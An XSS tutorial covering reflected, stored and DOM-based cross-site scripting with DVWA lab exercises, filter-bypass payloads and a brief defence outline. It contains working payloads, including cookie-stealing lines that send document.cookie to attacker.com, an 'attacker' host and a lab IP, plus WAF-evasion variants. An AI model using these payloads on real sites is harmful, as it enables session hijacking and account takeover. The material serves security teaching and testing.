This tutorial comprehensively covers Cross-Site Scripting (XSS) vulnerabilities, explaining all three types—reflected, stored, and DOM-based—with practical DVWA lab exercises and real-world payload examples. XSS remains a persistent top-tier web vulnerability that enables attackers to execute arbitrary JavaScript in users' browsers, stealing session cookies, capturing credentials, or spreading self-replicating worms. Understanding XSS exploitation techniques and defense layers is critical for both offensive security testing and application hardening.
- Three distinct XSS vulnerability typesReflected XSS requires victims to click a crafted link; the malicious script is reflected immediately in the response without storage. Stored XSS saves the payload in a database—such as comments, profile fields, or forum posts—so it executes automatically for every visitor who loads the affected page, making it higher-impact and more valuable in bug bounties. DOM-based XSS lives entirely in client-side JavaScript when user input from sources like URL hashes or location.search is passed to dangerous sinks like innerHTML without sanitization, allowing payloads to bypass server-side filters compl
- Attack surface and impact scopeAny location displaying user input without proper encoding—search boxes, comment fields, usernames, error messages, URL parameters, form fields, and HTTP headers—represents a potential XSS point. Successful XSS enables attackers to steal session cookies for account takeover, capture keystrokes for credential theft, redirect to phishing pages, spread self-replicating worms (demonstrated by the 2005 Samy Kamkar Myspace attack that infected over one million profiles in 24 hours with just 4 kilobytes of JavaScript), and deface web pages.
- Context-aware payload construction techniquesXSS payloads must match their injection context: HTML context uses basic script, img, or svg tags; attribute context requires breaking out of quotes with event handlers like onmouseover; JavaScript context requires terminating strings or statements with quotes and semicolons. Different contexts demand different escape sequences—for example, `` bypasses script tag filters, while `javascript:alert(1)` works in href attributes, and `'-alert(1)-'` breaks out of JavaScript strings.
- Cookie theft and account takeover pathwaySession cookies without the HttpOnly flag are readable by JavaScript, allowing stored XSS payloads to silently transmit every visitor's session cookie to an attacker-controlled server using code like `new Image().src="http://attacker/steal?c="+document.cookie`. The stolen cookie can then be used in Burp Suite or another proxy to replace the attacker's session cookie, granting full authentication as the victim without knowing their password.
- Filter bypass exploiting blacklist gapsWhen applications strip `` tags (DVWA Medium level), attackers bypass this with event handlers in img or svg tags, case variations like ``, nested tag bypass techniques such as ``, or encoding variations like tab characters in protocol names (`javas cript:alert(1)`). These techniques exploit the gaps inherent in blacklist-based filtering rather than whitelist approaches.
- Defense requires multiple layered controlsPrimary controls include output encoding (converting `&` to `&`, `
- DOM XSS bypasses server-side protectionsDOM-based XSS never reaches the server—the payload exists entirely in client-side JavaScript execution flow—making server logs appear normal and rendering server-side Web Application Firewalls and filters ineffective. Common vulnerable sources include location.href, location.hash, document.URL, and document.referrer; common vulnerable sinks include innerHTML, outerHTML, eval(), and setTimeout with string arguments.
- Bug bounty severity depends on impact demonstrationThe article emphasizes that alert(1) is proof-of-concept only, not the vulnerability itself; the vulnerability is that arbitrary JavaScript executes at all. Converting a finding from informative to high severity requires demonstrating actual attacker capabilities: document.cookie for session theft, keyloggers for credential capture, or redirect chains for phishing, rather than merely showing an alert box appears.
Bottom line: XSS vulnerabilities persist across all three types (reflected, stored, DOM-based) with stored XSS posing the highest risk due to automatic execution for all visitors, and defense requires implementing all four layers—output encoding, Content Security Policy, HttpOnly cookies, and modern framework defaults—since no single control eliminates XSS entirely. Always practice exploitation only on intentional vulnerable environments like DVWA, TryHackMe, or HackTheBox, as unauthorized testing is illegal
In 2005, a single stored XSS worm on Myspace infected over one million profiles in under 24 hours. A teenager named Samy Kamkar wrote 4 kilobytes of JavaScript that spread itself automatically — adding him to every visitor’s friend list, displaying “but most of all, samy is my hero” on every infected page. He was arrested. The vulnerability he exploited is the same vulnerability that still appears consistently in bug bounty programmes in 2026. A single line of unescaped JavaScript in the wrong place.
This XSS Cross Site Scripting tutorial covers XSS from the ground up — what it is, all three types, step-by-step DVWA lab practice, real payload examples that work on modern applications, cookie-stealing demonstration, and how to defend against it. All practised on your own intentionally vulnerable environment.
What Is Cross-Site Scripting?
XSS is a vulnerability where an attacker injects malicious JavaScript into a page that then executes in other users’ browsers. Unlike most web vulnerabilities that target the server, XSS targets the people using the application. Every user who loads the affected page becomes a victim.
The attack surface is enormous: any place where user input is displayed back in the browser without proper encoding is a potential XSS point — search boxes, comment fields, usernames, error messages, URL parameters, form fields, and HTTP headers all reflectable into page content.
For the broader web security context, see Day 4: OWASP Top 10 Explained — XSS appears as A03:2021 Injection.
Type 1 — Reflected XSS (Non-Persistent)
The server takes user input from a URL parameter or form, includes it in the HTML response without encoding, and the browser executes any injected script. The payload is never stored — it only executes when the victim follows a link containing the payload.
<?php echo “You searched for: ” . $_GET[‘q’]; ?>
# Normal URL:
https://site.com/search?q=kali+linux
# Attacker’s crafted URL with payload:
https://site.com/search?q=<script>alert(‘XSS’)</script>
# DVWA Lab (Security: Low) — test in XSS (Reflected) module:
Input: <script>alert(document.cookie)</script>
Result: Alert box displays session cookie ← XSS confirmed
Type 2 — Stored XSS (Persistent)
The payload is saved to the database — in a comment, a profile field, a product review, a forum post. Every user who loads the affected page gets the script executed in their browser automatically. No link-clicking required. This is why stored XSS typically pays higher bug bounties than reflected XSS.
# Name field: enter anything
# Message field — inject the payload:
<script>document.location=’http://attacker.com/steal?c=’+document.cookie</script>
# Submit. Now every user who views the guestbook page
# executes this script. Their cookies are sent to attacker.com
# This is stored XSS in action on your own lab ✓
Type 3 — DOM-Based XSS
DOM XSS occurs when client-side JavaScript reads data from an attacker-controllable source (URL hash, location.search) and passes it to a dangerous sink (innerHTML, document.write, eval) without sanitisation. The payload never reaches the server — server logs show a normal request, and server-side filters provide no protection.
var name = location.hash.substring(1);
document.getElementById(‘greeting’).innerHTML = ‘Hello ‘ + name;
# Exploit URL — payload in URL hash (never sent to server):
https://site.com/greet.html#<img src=x onerror=alert(1)>
# Common DOM XSS sources (attacker-controlled input):
location.href · location.search · location.hash
document.URL · document.referrer · window.name
# Common DOM XSS sinks (dangerous functions):
innerHTML · outerHTML · document.write · eval()
setTimeout(string) · setInterval(string) · $.html()
XSS Payload Reference — Context-Aware Testing
Cookie Stealing Demo — How XSS Leads to Account Takeover
This is the real-world impact scenario that makes stored XSS a high-severity finding in bug bounty programmes. Session cookies — when not protected with the HttpOnly flag — are readable by JavaScript. A stored XSS payload can silently transmit every visitor’s session cookie to an attacker-controlled server.
<script>fetch(‘http://192.168.56.1/?c=’+btoa(document.cookie))</script>
Filter Bypass Techniques — DVWA Medium Level
DVWA Medium security replaces <script> tags with empty strings. This is a blacklist approach — filter bypass techniques exploit the gaps in blacklists. Understanding these is essential for real application testing where basic payloads are filtered.
<img src=x onerror=alert(1)> ← no script tag needed
<SVG/ONLOAD=alert(1)> ← case variation
<scr<script>ipt>alert(1)</scr</script>ipt> ← nested tag bypass
# Encoding bypasses for WAF evasion:
<img src=x onerror=alert(1)> ← HTML entity encoded alert
<a href=”javas cript:alert(1)”>click</a> ← tab char in protocol
For an advanced XSS case study with real application bypass techniques, see our Real XSS Case Study: 15 Steps and DVWA Day 5: Advanced XSS Hunting.
Defence — How to Prevent XSS in 2026
Frequently Asked Questions – XSS Cross Site Scripting Tutorial
The thing beginners miss about XSS is that alert(1) is not the vulnerability — it is just the proof. The vulnerability is that JavaScript executes at all. When writing bug bounty reports, the impact statement needs to go beyond “alert box appeared.” Demonstrate what an attacker actually does with that JavaScript execution: document.cookie, keylogger, redirects. That is what converts an “informative” to a “high severity” finding.

